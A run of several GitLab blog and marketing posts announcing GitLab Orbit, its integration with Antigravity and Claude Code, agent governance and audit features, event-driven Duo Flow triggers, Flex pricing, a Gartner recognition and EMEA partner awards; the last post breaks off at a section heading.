The Orbit integration is a new addition to a family of purpose-built GitLab integrations already in the Google Cloud ecosystem and brings GitLab's context layer into Google's agent-first development platform.

Query your software lifecycle within Antigravity

Antigravity agents, without GitLab Orbit, can see the files and reach the terminal. They do not understand the broader system: which services depend on the code being changed, whether similar vulnerabilities have been flagged elsewhere, or who reviewed comparable changes in the past. That context lives in your DevSecOps platform. Getting it to a coding agent has meant using custom scripts or copy-pasting between tools.

GitLab Orbit indexes your GitLab instance and builds a knowledge graph of relationships between groups, projects, users, work items, merge requests, pipelines, vulnerabilities, and source code. It surfaces that graph through two MCP tools: query_graph, which executes structured queries, and get_graph_schema, which returns available node types, properties, and relationships.

With this integration, an Antigravity agent can be more accurate and you can answer the most complex questions about your software lifecycle with this context layer:

• Which projects depend on this module, and will this change break them?
• Have any unresolved vulnerabilities been found in this project?
• Based on past reviews and file ownership, who should review this merge request?
• Which projects produce the most pipeline failures in this group?

The agent composes the query in GitLab Orbit's JSON DSL and gets typed results back, instead of requiring you to switch between browser tabs and paste context into the coding platform.

In early internal tests, agents grounded with GitLab Orbit responded up to 11 times faster, used up to 4.5 times fewer tokens, and produced up to 45 times fewer hallucinations.

Key user journeys

With GitLab Orbit and Antigravity, several key user journeys are enhanced by the interoperability of the two services.

Blast radius analysis

Before refactoring a shared auth library, an engineer asks an Antigravity agent connected to GitLab Orbit: What depends on this module? Which open merge requests touch those files? And who owns them? The agent queries the knowledge graph and returns all three in one answer: the importers, every in-flight merge request against those files, and their owners. The engineer sees which open work the refactor will collide with, and who to involve, before editing a line. Without Orbit, the same agent sees only the open files and the terminal, with no ability to query the importers, merge requests, and owners that live in GitLab.

Onboarding and codebase exploration

A developer returning to an unfamiliar service asks for its dependencies, entry-point files, and the merge requests opened against it this week. The agent runs the queries against the knowledge graph and produces a Walkthrough Artifact, a scannable map the developer keeps rather than a chat answer that scrolls away. Orbit reindexes within minutes of a change, so the map reflects the service as it is today, not the stale wiki that onboarding usually relies on.

Dependency mapping with image generation

A tech lead queries GitLab Orbit for a group's service-dependency structure and has the agent render it as an architecture diagram with Nano Banana Pro. Its nodes and edges are drawn from the live graph rather than relying on a diagram that's already out of date. For a narrower view, like only the services with open security findings, the tech lead re-queries and regenerates a diagram. Every query is filtered to what the tech lead can access, so the diagram is safe to share as-is. A text-only agent can't turn a graph query into a diagram, let alone keep it current. GitLab is building the same capability natively as a Software Architecture Map; in Antigravity, it works today.

Install from the MCP Store in clicks

Antigravity's MCP Store is a built-in integration hub inside the settings. It uses the Model Context Protocol to connect agents to external tools and services in a standardized way.

Open the MCP Store panel from the settings. Within the customization tab, find the MCP section. Click “Add MCP” and add GitLab Orbit. Authenticate with GitLab through the on-screen prompts. Once installed, Orbit's tools are automatically available to your agents. No config files or terminal setup required.

Build on the same context that powers GitLab Duo Agent Platform

GitLab Orbit is the same engine that provides context to Duo Agent Platform. For platform engineering teams managing large GitLab instances, agents working inside Antigravity draw on the same governed knowledge graph as agents working inside GitLab, without a separate context pipeline to configure and maintain.

Orbit indexes code in Ruby, Java, Kotlin, Python, TypeScript, JavaScript, Rust, and C# from the default branch, and reindexes within minutes of a change. Queries through MCP consume GitLab Credits; calls to get_graph_schema are free.

Get started

GitLab Orbit is available for GitLab Premium and Ultimate tiers on GitLab.com. To try it out, turn on Orbit for your top-level group, then install the GitLab Orbit integration from the Antigravity MCP Store.

If you are not yet using GitLab Duo Agent Platform, start with a free trial.

If you are on GitLab's Free tier, sign up for Duo Agent Platform with these steps.

If you are a GitLab Premium or Ultimate subscriber, turn on Duo Agent Platform and use the GitLab Credits included with your subscription.

Enforce third-party scanners on every project at scale

For most security teams, the hardest part of application security is scanner coverage. Different scanners are set up project by project, so whether a scanner runs depends on individual teams setting it up. New projects can go unnoticed and can ship for weeks before teams realize they are not scanned. When coverage depends on tribal knowledge rather than policy, code ships unscanned, vulnerabilities ship to production, and audits expose gaps.

You can now enforce third-party scanners at scale across all of your GitLab projects. Any scanner that outputs SARIF runs under your policies, and the vulnerabilities identified flow into GitLab natively. Every finding lands in one vulnerability view governed by the same rules, so coverage becomes something you can prove rather than hope for.

From there, third-party scanner findings run through the same GitLab Duo Agent Platform auto-remediation workflow as GitLab native scanner findings. SAST False Positive Detection triages findings to prioritize those with real risk, and Agentic SAST Vulnerability Resolution opens a ready-to-merge fix to automatically remediate findings before they go into production. Your team gets coverage it can prove with one governed view across every scanner, and automated remediation for third-party findings.

Catch secrets earlier, and spend less time on false positives

Secret detection runs in your pipelines to catch leaked credentials, but teams have historically struggled with two things: missed secrets and noisy findings. On a new branch, only the latest commit gets scanned, so a secret committed earlier might ship unnoticed. The findings detected come mixed with test credentials, placeholder values, and example tokens, so developers spend time clearing noise instead of addressing real exposures.

Secret detection now scans every commit on a new branch instead of only the latest one, and Secret False Positive Detection, now generally available, adds a confidence score and an explanation to each finding, shown in the vulnerability report. Your team catches secrets wherever they were introduced, and spends time reducing risk from real exposures rather than false positives.

Decide what your AI agents can do, and prove it

Companies have adopted AI agents for coding. Agents open merge requests, call tools, and commit code alongside the developers they work for. However, once an agent is approved for a project, it can write, delete, and push without anyone reviewing the action first. Your company remains accountable for changes in the codebase, regardless of whether an agent makes them or a developer. Enterprises need to determine what an agent is allowed to do before it acts, and to show exactly what it did after.

GitLab 19.1 closes that governance gap. With AI audit event streaming, now in beta, every action an agent takes is recorded as an audit event and streamed to your audit log destinations, with the rest of your audit trail. The release also gives you control over what agents can do on your platform. Agent tool approval guardrails, also in beta, let an administrator set each agent tool to run on its own, pause for human approval, or stay blocked, so a sensitive action like writing a file or deleting a resource waits for a team reviewer before it runs. Every approval decision is recorded as an audit event for teams to retroactively review.

The result is governed autonomy. Agents can run end to end, inside the guardrails you set, and a risky action does not reach the codebase unless a person signs off on it. When an auditor or an incident responder later asks what an agent did, the answer is already in the audit trail the team runs.

Governed autonomy for your agents

GitLab 19.1 puts governance around the agents in your codebase, with full security scanner coverage across every project and automatic remediation of third-party scanners. You set what each agent is allowed to do before it acts, and every action lands in your audit trail.

To see what your agents can do inside the guardrails you set, and prove what they did, start a free trial of GitLab Duo Agent Platform today.

GitLab 19.1 ships event-driven triggers for Duo Flows alongside the governance controls and config validation that make running them safely possible. Together, they give enterprise teams the governance and reliability to run AI workflows continuously, without waiting for a human to pull the trigger.

Run flows automatically on real GitLab events

Until now, every GitLab Duo Flow trigger required a human action in the GitLab UI: Mention, Assign, or Assign Reviewer. That made it more challenging to drive flows programmatically, integrate them into production pipelines, or fire them on a schedule. For teams running production workflows at scale, the limitations included: no automated conflict summaries, no compliance checks on ready-for-review MRs, and no incident creation on pipeline failure. None of these workflows were possible without someone manually initiating a flow.

With triggers and new pipeline event filters, flows run every time the conditions your organization defines are met, with no manual handoff required. The AI Catalog stops being something your team uses and starts being something that works for your team, continuously, in the background, while developers focus on the work that actually requires judgment.

This is where the compounding value of agentic workflows becomes real. When flows respond to events automatically, the handoff delays that slow down feedback loops today start to shrink.

GitLab 19.1 includes four new event-driven triggers:

• Merge request code conflict detected fires the moment a conflict is detected in a merge request. That's exactly when an automated conflict summary and resolution proposals are most useful, before the developer has begun investigating the problem and before the conflict compounds. Previously, a developer would have to notice the conflict, open the MR, and manually trigger a review. Now the flow runs the moment the conflict appears.
• Draft to ready for review fires when a developer marks an MR ready. That's the right moment for an automated compliance review or readiness checklist to fire automatically. A flow that used to require a reviewer or team lead to manually initiate a pre-merge check now runs every time, the moment the signal arrives.
• Merge request approved fires when a merge request receives approval, automatically triggering post-approval steps like deployment readiness checks, compliance logging, or handoff notifications, without a human having to remember to kick them off.
• Work item created fires when a new work item is created. That opens up immediate triage flows, automatic label assignment, and routing logic that today requires either manual effort or brittle webhook setups outside GitLab.

While Pipeline events aren't new, the ability to filter by specific pipeline states is. You can now configure a trigger to fire only on failure, only on success, or only on cancellation, rather than on every pipeline state change. That means you can create incidents on failure and promote artifacts on success without alerting on every pipeline state change.

Merge conflict detected and Draft to Ready for Review are enabled by default, so teams gain value the moment they update to 19.1.

A developer experience improvement is also landing in 19.1. For developers actually running those flows locally, repeated tool invocations — npm installs, file edits, multi-step refactors — used to require re-approval every time. A new pattern-based approval tier (now in beta) lets you approve all uses of a tool for the session, so the agent can iterate without interrupting you.

Watch the event triggers in action:

Keep unapproved AI agents and flows out of your environment

An external agent surfacing in a namespace during a hackathon, or a team member enabling a community-contributed flow without security review, is enough to stop an enterprise trial in its tracks. For regulated organizations, unvetted AI content isn't a minor concern; it's a blocker.

Two new settings give instance admins and top-level group owners direct authority over exactly what runs.

• Disable custom agents and flows restricts users from creating or enabling custom-built agents and flows, limiting them to foundational content.
• Restrict the AI catalog to your group hierarchy blocks users from enabling AI Catalog items that originate outside their namespace, including community-contributed and third-party content.

Together, these settings bring AI agents and flows under the same admin oversight already governing other sensitive platform capabilities, so admins can open up broad usage without inviting agent sprawl into production.

Catch flow misconfigurations before they ship

Event-driven flows that fire automatically raise the stakes on getting accurate configuration right inside an enterprise. Whether a flow is misconfigured or over-fires, it creates noise and issues across the organization.

GitLab 19.1 moves validation upstream. When a user saves or updates a flow in the AI Catalog, GitLab validates the flow config against the Duo Workflow Service before persisting it. If there's a problem — a missing input, an unknown tool parameter, anything the validator catches — structured errors appear in the UI before the flow is saved. Valid flows save and trigger exactly as before.

The result: Every flow in the AI Catalog is correctly configured before anyone depends on it in production. Configuration problems surface at save time, when they're cheap to fix, not in the middle of the night when a pipeline fails.

Control which AI models are available to your team

Another governance capability is available as a public beta. Admins can now configure an allowlist of approved AI models and set an organization-wide default, rather than choosing between a pinned model or unrestricted selection.

This means organizations can restrict to data-residency-compliant or pre-approved providers while preserving end-user flexibility within that guardrail. This initial iteration applies to GitLab Duo Agentic Chat, with broader coverage across additional surfaces to follow soon.

Build on a foundation that’s ready for production

With these updates, flows can finally operate the way production automation is supposed to: continuously, reliably, and without waiting for someone to press a button. Admins have the governance authority to control exactly what runs in their environment, and developers get configuration feedback at the right moment instead of the worst one.

Start your free trial of GitLab Duo Agent Platform or explore the documentation to dig into agents, flows, and the AI Catalog.

Developers have never written code faster. Most now use more than one AI coding assistant, and we see customer codebases growing five times in a single year. But faster code hasn't made software ship faster. AI sped up one essential step and dumped the overflow on everything downstream: pipelines to wire up, security findings to clear, deployments to sequence, spend to keep an eye on. Fix one stage and the bottleneck just slides to the next.

That's not speed, really. It's a faster way to ship incidents, miss vulnerabilities, and overrun budgets. The actual work now is turning what agents produce into software you'd put your name on. We call it speed with control.

Download the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms.

The agentic era needs a control layer, not another tool

The problem enterprises face today is balancing speed of delivery with control. As agents multiply across teams and projects, organizations find they have no single place to govern who runs them, what data they can reach, what actions they can take, or whether any of it can be audited. Agents are expanding faster than the policies meant to manage them.

GitLab is already the platform where enterprises plan, build, secure, and ship software, with source code management, CI/CD, security, and deployment in one place. We’re embedded in the critical path of these changes, whether a person or an agent makes them. As your team and their coding agents write the change, GitLab pressure-tests it against your existing code, in your pipelines, and policies before it changes anywhere near production. That position is what makes GitLab the control layer for the agentic era.

The platform enterprises already trust to ship at scale

Agentic AI is only as good as the platform underneath it, and this is the foundation our customers already build on. Ericsson cut its deployment time in half while serving the operators that keep billions of subscribers connected. Southwest runs mission-critical software for round-the-clock airline operations, where reliability is not negotiable. Barclays PLC and other highly regulated enterprises deliver under security and compliance demands where speed and oversight cannot be traded against each other.

The same is true wherever customers run GitLab. We deliver the same platform, governance, and agentic capabilities across multi-tenant SaaS, single-tenant SaaS, and self-managed deployments, including agents running against self-hosted models in air-gapped environments — without trading away deployment control. Even the most regulated organizations get full AI capability without trading away the deployment control they require. Gartner recognized this parity between our SaaS and on-premises options, AI included, as a strength. And comprehensive does not mean closed: Teams extend the platform with the tools and AI services they already use, while keeping everything inside one governance boundary.

Engineered for enterprise-grade uptime

Orchestrating agentic work across the lifecycle only matters if the platform stays available when teams depend on it. Gartner noted that GitLab has strengthened its SLAs to meet or exceed competitors’. We back a 99.9% monthly availability commitment for Ultimate customers on GitLab.com and GitLab Dedicated, and stand behind it with service credits: If monthly availability falls below that threshold, eligible customers can claim credits toward a future invoice. Tying our own accountability to the reliability customers actually experience is what makes the commitment real.

Standardizing for speed and control

At GitLab Transcend last week, we built further on the control layer with five new innovations:

1. Next-gen source code management built for machine scale. In our testing, it runs up to 50x faster and moves up to 1,000x less data over the network.
2. GitLab Orbit, a context graph across your code, work items, pipelines, deployments, and production signals. Point Claude Code at Orbit and the same tasks with the same model run up to 11x faster, with up to 4.5x fewer tokens, and up to 45x fewer hallucinations.
3. Agents for security and governance for agents so you can keep up with the growing security and compliance gaps.
4. Coordination of tasks across developers and agents with the new agentic triggers that enables your team to automate work handoffs without someone shepherding every step.
5. GitLab Flex agreements so you can shape your GitLab spend on the products and capabilities without changing your contracts.

That gives a CIO a clear position to stand on: one platform, one context graph, and one governance boundary where teams and agents build software together.

That position is what we believe Gartner's recognition reflects. And it comes as GitLab continues a rapid pace of innovation, shipping new capabilities to customers every month for 175+ consecutive months. To see everything we announced and watch the sessions on demand, visit our What's New page.

Read the report

Download the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms.

Source: Gartner, Magic Quadrant for DevSecOps Platforms, Keith Mann, Thomas Murphy, Bill Holz, June 15, 2026

Gartner and Magic Quadrant are trademarks of Gartner, Inc., and/or its affiliates.

Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.

This graphic was published by Gartner Inc. as part of a larger report and should be evaluated in the context of the entire document. The Gartner document is available upon request from GitLab.

For customers, that means a shorter path from purchasing the platform to seeing real results, with expert guidance on the tools, processes, and methodologies that drive transformation.

Built for client success

The collaboration brings together GitLab's intelligent orchestration platform for DevSecOps and Capgemini's expertise in digital and business transformation, helping organizations modernize their software delivery, secure their supply chain, and bring AI into their development workflows.

The collaboration will initially focus on:

1. Cloud-native development and application modernization: Helping customers move legacy workloads onto modern architectures.
2. Sovereign solution design and delivery: Meeting regulatory, regional, and data-residency requirements.
3. Value stream modernization: Tightening the software delivery lifecycle from idea to production.
4. Generative and agentic AI: Bringing GitLab Duo Agent Platform into development workflows so teams ship software faster.

For more information about how GitLab and Capgemini can help your organization, please visit www.capgemini.com. If you are a GitLab or Capgemini customer, please contact your representative to get started.

Last week, GitLab EMEA partners came together to connect, grow their expertise, and align on what’s ahead. As part of that celebration, we took the opportunity to honor the partners who went above and beyond in their work with GitLab and our mutual customers.

We’re thrilled to announce the 2026 GitLab Partner Award Winners from the EMEA region:

Regional Partner of the Year Awards - Recognizing the partner in each region who demonstrated exceptional overall performance and strategic collaboration.

• Central Europe: cc cloud GmbH
  cc cloud GmbH combines infrastructure and DevOps expertise for cloud-based applications and platforms. As a managed service provider, cc cloud GmbH takes responsibility for the IT infrastructure and applications of companies, so that their customers can focus on their core business.
• Northern Europe: Eficode
  Eficode is Europe’s leading AI and services company for the software development lifecycle, serving over 1,600 customers across Europe and North America. The company helps enterprise organizations accelerate software delivery through managed services, consulting, toolchain implementation, and AI-augmented development practices.
• Southern Europe: Kiratech
  Kiratech is an Italian IT company that specializes in helping large enterprises modernize their infrastructures through a cloud native, DevOps, and PlatformOps approach. Kiratech acts as an official reseller, and a Select and implementation partner for GitLab.

Emerging Markets:

• Eastern Europe and Israel: Bynet
  Bynet is one of Israel’s most prominent and established systems integrators, with over four decades of experience delivering enterprise IT, cloud, cybersecurity, and modernization projects. With deep vertical expertise and longstanding relationships across government and private sector clients, Bynet plays a central role in Israel’s digital modernization landscape and they are a key ally to GitLab in advancing DevSecOps and AI adoption.

Best Technical Solution/Project - Honoring the partner who delivered the most innovative, complex, or impactful technical solution for a customer.

• Capgemini | Sogeti
  Sogeti, part of Capgemini, makes technology simple and impactful through AI-driven solutions across quality engineering, data, and cloud. They turn ideas into action quickly, delivering measurable outcomes from day one.

Most Certified and Enabled Partner - Awarding the partner with the most GitLab-certified professionals on their team.

• Devoteam
  Devoteam is AI-driven tech consulting. For 30 years, Devoteam has been a trusted advisor, navigating businesses through the changing tech landscape. They are tech natives, passionate about guiding you toward a future powered by AI.

Rookie of the Year - Recognizing the newest partner who achieved early success and made significant impact.

• ITDOTCOM
  ITDOTCOM, LLC is a value-added IT distributor based in Uzbekistan, specializing in software development, infrastructure, cybersecurity, and business automation solutions. They help global technology vendors and local partners expand across Central Asia through technical expertise, business development, and local market support.

First Order Master - Celebrating the partner who excels at acquiring new customers and consistently wins new business.

• Linux Polska
  Linux Polska is a leading provider of open-source solutions and consulting services for enterprises, with a strong focus on DevOps, automation, containerization and data analytics. They empower businesses to innovate faster through cutting-edge technology expertise and their reliable engineering support.

Co-marketing Partner of The Year - Recognizing the partner who demonstrated outstanding collaboration on joint marketing efforts to drive awareness and growth.

• Conoa a PROACT Company
  Conoa is Sweden's leading specialist in Kubernetes, cloud native, and container technology — offering services from strategy and consulting to managed platform operations. As a Kubernetes Certified Service Provider (KCSP) and part of Proact since 2021, Conoa brings deep expertise across industries including highly regulated sectors.

In a large monorepo, the gap shows up as wasted iterations, blown token budgets, and code that looks correct but gets reverted. Across repos, it's worse: the context window fills before the agent finds the answer, and the task fails outright. Teams end up spending more time fixing agent output than the agent saved them.

GitLab Orbit, now in public beta, closes the gap. It's a live, queryable graph of all your code, merge requests, pipelines, deployments, vulnerabilities, and ownership, with every relationship between them kept current as your team works. Agents reason from first-party GitLab data instead of stitched-together tool calls. Engineers can query the same graph through the Data Explorer to trace changes, investigate incidents, and answer the cross-system questions that today take hours of manual reconstruction.

Proven on real merge requests at Compare the Market

Compare the Market, a U.K. price comparison platform, tested four context retrieval approaches for an internal AI code reviewer across 79 real merge requests. The Orbit-grounded reviewer placed accurate inline comments about 70% of the time, against about 58% for retrieval-augmented generation (RAG), and captured more of the key changes in summaries (68% vs. 66%). RAG underperformed every other approach, including no context at all.

"Orbit gave us an AI code reviewer that actually understands our codebase, not just the diff in front of it. We tested it against RAG and a few other approaches across real merge requests, and the gap was clear. Better comment placement, better summaries of what actually changed. RAG, which we'd assumed would be the natural solution, ended up performing worse than no context at all. For us, that result spoke for itself."
- Ryan Harvey, Head of AI Engineering, Compare the Market

What you can do with GitLab Orbit

Here are two examples of how you can use GitLab Orbit in your environment.

Scenario 1: With Claude Code or other coding agents
The work you already do, faster and more accurate

Say, you already run Claude Code. When you point it at a large monorepo, it spends its first stretch, and a real share of its token budget, just crawling files to work out where things live and what connects to what. In a big enough codebase it follows the wrong threads, misses a dependency, or runs out of room before it starts the actual work.

Connect Claude Code to GitLab Orbit through Model Context Protocol (MCP) and it stops crawling. It asks the graph the questions it was trying to reconstruct by iterating where does this code live, what depends on it, which tests and pipelines cover it. Instead, it gets a precise answer in one or two queries. On the same tasks, with the same model, it’s up to 11 times faster, uses up to 4.5 times fewer tokens, and generates up to 45 times fewer hallucinations.

Scenario 2: With GitLab Duo Agent Platform
Answers that were never possible before

Some questions were never really answerable by an agent, because the answer isn't in the code — it's in how code connects to pipelines, deployments, vulnerabilities, and ownership across your whole system. Agents on GitLab Duo Agent Platform query Orbit natively, so you can now ask them things that used to mean a manual investigation across four tools.

Triage pipeline failures across the lifecycle. Today, an agent looking at a failing pipeline sees one job in isolation. With Orbit, it traces the failure to the change that introduced it, the projects where the same job is now drifting, and the merge requests still in flight that will encounter the same problem. To run discovery, Orbit issues graph queries like this one:

MATCH (job:CiJob {status: "failed", name: $job_name})-[:RAN_IN]->(pipeline)-[:FOR]->(mr:MergeRequest)
RETURN mr.title, mr.author, pipeline.started_at, mr.project_id
ORDER BY pipeline.started_at DESC LIMIT 20

One query, every in-flight MR that will hit the same failing job, across every project in your group. Your on-call team resolves the incident once instead of three teams resolving it three separate times.

Map vulnerability blast radius in minutes. Finding the vulnerable code is the easy part. Mapping the exposure (which services include the component, which pipelines build them, which environments they run in, which teams own them) is what slows teams down. One Orbit query returns the full graph, owner-by-owner. Security ships a remediation plan in the hour a CVE lands, not the week after, with each affected component already assigned to its owner.

Answer cross-system questions on demand. Cycle time by team, broken down by pipeline failure rate, joined to deployment frequency. One question, one answer, no dashboard request, no custom SQL. Engineering managers answer the question live in the executive review, not in a Slack follow-up three days later.

Scope migrations against current dependencies. Planning a migration today means searching for a shared component and hoping the search catches the downstream dependencies. With Orbit, every dependent service, job, environment, and owner returns in a single result. Platform teams commit to a migration date and meet it, instead of discovering hidden dependents three weeks in.

The graph supports any workflow where your team needs to understand how the system connects: code review, incident response, release planning, security, migration planning.

How GitLab Orbit works

Orbit ingests software development lifecycle data via change-data-capture into ClickHouse, parses code in 12 languages (Ruby, Java, Kotlin, Python, TypeScript, JavaScript, Rust, Go, C#, C, C++, PHP) through the Rails internal API, and serves the combined graph over a Cypher-like DSL, MCP, REST, and the GitLab CLI.

At GitLab's own scale, the indexer covers over 40,000 projects, 500 million nodes, and 2 billion edges in under 45 minutes. An event-driven engine picks up every change as it ships, so the graph stays current.

Indexing runs as a separate service; query traffic never hits your GitLab instance. Authorization mirrors GitLab permissions, so agents see exactly what their user can see in the UI. The query engine is built like a compiler: Every query goes through validation, planning, optimization, and security passes before it touches the database, so query speed doesn't degrade as your data grows.

There is no separate data infrastructure to stand up. Orbit builds on data GitLab already captures: issues, merge requests, pipelines, code, security findings, deployments, and incidents. You get value from day one with no new instrumentation.

Agents on GitLab Duo Agent Platform query the graph natively. External agents like Claude Code, Codex, and OpenCode connect through MCP and the GitLab CLI. Custom agents and internal tooling connect through REST. One graph, shared across your engineering organization.

Engineers query the same graph

The Data Explorer is the engineer-facing surface. Same graph, no agent in the way. Useful for the work that doesn't fit a fixed prompt: investigating an incident, tracing how a dependency spreads across services, figuring out why one area of the codebase keeps breaking CI. The answers come in seconds instead of hours of reconstruction across Git, CI, deploy tools, and dashboards.

Try Orbit now

GitLab Orbit is currently available in public beta for GitLab.com Premium and Ultimate customers. You can sign up by heading to about.gitlab.com/gitlab-orbit.

Fixed contracts, moving needs

The shift to agentic software engineering introduced uncertainty on three fronts at once:

• How many seats. The agentic era is changing who builds. Some companies are adding people who never worked in GitLab before so they can build directly on the platform, and want to grow seats. Others are reshaping their org structure and contractor mix around agents, which can push seat needs up or down. Your seat count six months out moves in both directions, and an annual contract locks you in with a single guess.
• How much AI usage. Agent usage grows on its own curve of use cases, enablement, and technology advancements.
• Which capabilities. New agentic infrastructure capabilities ship constantly. You can't know at signing which ones you'll want to adopt mid-year.

A traditional contract asks you to lock all three in advance and live with the guess until renewal. Guess high and you overpay for idle seats and capacity you never use. Guess low and adopting anything new means re-opening procurement cycles that stall the team right when it has momentum. Either way, the contract is fixed while your needs keep moving.

Annual budgets adapted monthly

GitLab Flex is one annual dollar commitment against a published rate card. From that single commitment you draw down platform seats, GitLab Credits, and eligible usage-based capabilities — across GitLab.com multi-tenant SaaS, Self-Managed (including air-gapped), and GitLab Dedicated single-tenant SaaS. The point is that the commitment flexes on exactly the three things you can't predict.

Adjust seats without waiting for renewal. When a team wraps a project and rolls off, you don't keep paying for idle seats until the contract comes up again. You can reallocate next month's reservations toward another team's seats, or toward AI usage inside the existing agreement.

Scale AI usage with predictable economics. Consumption draws from your annual commitment at the published rate. Usage above the full commitment bills on-demand at $1 per credit, so a busy month doesn't turn into a surprise. Larger commitments unlock better unit pricing, and reserved capacity costs less than unplanned usage.

Add new capabilities without new procurement. Eligible capabilities released after you sign land on the same rate card. When you want to turn one on, you draw it from the commitment you already have without the added steps of re-procurement.

If you've used consumption pricing elsewhere — cloud credits, observability credits — the drawdown will feel familiar. Here's what's different: With Flex, your seats and your usage live under the same commitment, so you can move budget between them. Most models keep seat licenses and usage credits in separate buckets you can't rebalance without going back to the table.

One agreement, any mix

A single Flex agreement can combine any of the following, all drawing from the same annual commitment:

• Platform seats. GitLab Premium and Ultimate at published rates, with volume discounts tied to your commitment level. (The Flex volume discount is the starting point for seat discounts, automatically applied based on total commitment size. Seat discounting can go above the Flex discount level with additional approvals.)
• GitLab Credits. Credit-metered capabilities like GitLab Duo Agent Platform, hosted runners, and artifact management, each at a published credit rate.
• Every deployment type. GitLab.com, Self-Managed, Dedicated, and air-gapped, all under one agreement — so your mix can shift over the term without restructuring.

Volume economics with spend controls

• Larger annual commitments unlock better unit pricing across the rate card, and reserved capacity costs less than unplanned usage.
• Subscription-level and per-user caps help your team stick to budgets along with admin controls at the project-group level.
• Unreserved seats draw at the effective price, the same pre-negotiated rate as reserved seats.
• Usage above the full Flex commitment bills at on-demand rates at $1 per credit or your negotiated per-seat price.
• Cloud-connected customers are billed automatically; air-gapped customers are invoiced twice a year.

Keep your current plan through renewal

GitLab Premium and GitLab Ultimate remain available at direct seat pricing. Flex is the recommended structure for new agreements, but existing customers can continue on their current contract through renewal. With Flex, tier capabilities do not change: GitLab Premium and Ultimate features remain.

If you are approaching renewal and want to evaluate Flex, your account team can model both options against your current capabilities and AI usage so you can compare before committing.

Start with a model built for what comes next

The shift to agentic software engineering is not only a product shift. It is a budgeting and planning shift. GitLab Flex gives organizations one agreement for platform and AI spend, plus a clearer operating model for managing both and a structure built to keep pace as needs change.

Customers can request orders with GitLab Flex now, with fulfillment rolling out throughout the quarter.

Request GitLab Flex

To explore the full set of platform innovations announced at Transcend, including GitLab Orbit, Agentic Git, and AI Governance, visit our What's New portal.

• Next-generation source code management, a Git engine rebuilt for agent-scale concurrency, now in private beta
• GitLab Orbit, our context graph for the full software lifecycle, now in public beta
• Agents for security and governance for agents, identity, policy, audit, and approval around every agent action, now in private beta
• GitLab Duo Agent Platform, our orchestration system where agents pick up issues, review code, and fix pipelines without pulling developers out of flow, generally available since January
• GitLab Flex, a buying model that bends to how AI adoption actually happens, now accepting orders

It's never been easier or faster to write code with agents, our research across more than 1,500 developers and tech leaders showed that 91% of organizations now run two or more AI coding tools, and 54% run three or more. Some of our customers' codebases are growing up to five times in a single year. But unmanaged, that speed creates chaos.

Catch up on all the action from Transcend with our on-demand webcast.

Agentic coding — speed with chaos

For most organizations, the answer to increasing the pace of innovation has been AI coding. But coding agents built on a fragmented software lifecycle isn't agentic engineering, it's a shortcut to inefficiency and risk.

We see it across our customers in recurring forms. Infrastructure built for human pace buckles under machine-scale concurrency in source code management. Agents have context around the code but not the full software development lifecycle (SDLC), so they stall out in large monorepos and give up across repos as the context window fills. Code, dependencies, and deployments change faster than teams can govern them. And fixed contracts force teams to guess at seats and credits a year ahead, in the era hardest to forecast.

The same research shows the strain: 73% worry about maintaining the code, and only 21% see productivity gains across the full SDLC.

None of this is a reason to slow down. It's a reason to build the agentic infrastructure that turns the speed of agentic coding into strong ROI.

Agentic coding + GitLab agentic infrastructure, delivering speed with control

GitLab is already the platform where enterprises build and ship software. Source code management (SCM), CI/CD, governance, deployment, and more all live in one place, and our platform currently serves more than 50 million users and 100,000 organizations. We sit in the path of every software team and the agents that touch their code, pipelines, or production.

Think of the platform as a living system, with four parts that work together the same way whether a human or an agent is doing the work. The motor system handles execution at agent scale, the source control, pipelines, and deployments that get software built and shipped. The nervous system gives every agent and human the context to make good decisions. The immune system puts proactive governance and security around every action.

And the orchestration system coordinates the other three, letting teams and their agents plan and carry out work across the full lifecycle. Whether the brain doing the work is human or agentic, it draws on all four.

At Transcend, we announced these innovations and a new buying program, and demonstrated how they come together with intelligent orchestration enabled by GitLab Duo Agent Platform.

Motor system: Next-gen SCM rebuilt for concurrency

SCM is the part of the platform worth focusing on here, because the Git backend buckles under agent load.

Git was built for a distributed workforce. We clone entire repositories to work on them, with branching and code merges scalable enough for hundreds of people around the globe to work in parallel. That model breaks when each team member runs hundreds of agents, resulting in:

• Clone tax. Clone repo to read one file, for every agent and every retry.
• Concurrency collapse. Thousands of sessions hit a human-scale backend at once, producing bottlenecks and unpredictable availability.
• No isolation. Agents share accounts and one branch space, so they pollute the repo, leave no clean way to discard work, and no record of which agent did what.

That's why we previewed the next-generation SCM, in private beta. It runs on the Git protocol for backward compatibility, with a redesigned backend and interfaces built for agents. So you can run agents on any repo, fan them out by the thousands, and let them experiment safely.

Our team has been working to validate the architectural direction: same Git compatibility and auditability, with a different motor underneath, designed for agentic access from the start.

Early internal results are promising: up to 2x fewer tokens, up to 50x faster wall clock time, and up to 1,000x less network traffic.

Nervous system: GitLab Orbit to answer the toughest questions from agents

Agents are adept at writing code and far less deft at navigating the system around it. They can see the code they're touching but not the full lifecycle, and that gap shows up as wasted work.

In a large monorepo, agents can burn too many iterations and too many tokens, and they take too long to get an answer. Across repos, they may fail outright as the context window fills and the agent gives up. The result is work that looks correct but gets reverted, and teams spending more time fixing agent output than the agent saved.

GitLab Orbit, now in public beta, is the context graph for the entire software lifecycle. It continuously maps code, work items, pipelines, deployments, and production signals into a single live graph, so agents reason from first-party context instead of fragmented signals. Engineers query the same graph through the Data Explorer to trace changes and investigate incidents, which means every decision draws from one source of truth.

In our early internal tests, agents grounded with Orbit had up to 11 times faster response, were up to 4.5 times more cost effective, and had up to 45 times fewer hallucinations.

Our customer, Compare the Market, A/B tested GitLab Orbit against a RAG-based approach and a no-context baseline using identical prompts and models, and found: Graph-grounded agents placed inline review comments in the correct location 70% of the time (0.696 accuracy), vs. 58% (0.577) for RAG. Compare the Market validated the approach on 79 real merge requests, where graph-based context outperformed conventional retrieval on comment placement accuracy.

Read more: Introducing GitLab Orbit: Full code and lifecycle context, in one query

Build on Orbit at the Transcend hackathon

Want to put Orbit to work yourself? From June 10-24, 2026, the Transcend hackathon invites the community to build with the lifecycle context graph. Contribute directly to the Orbit codebase, or build agents, flows, and skills on top of it and publish them to the AI Catalog.

Everyone is welcome, from experienced contributors to first-timers, and cash prizes are on the table. Learn more

Immune system: Agents for security and governance for agents

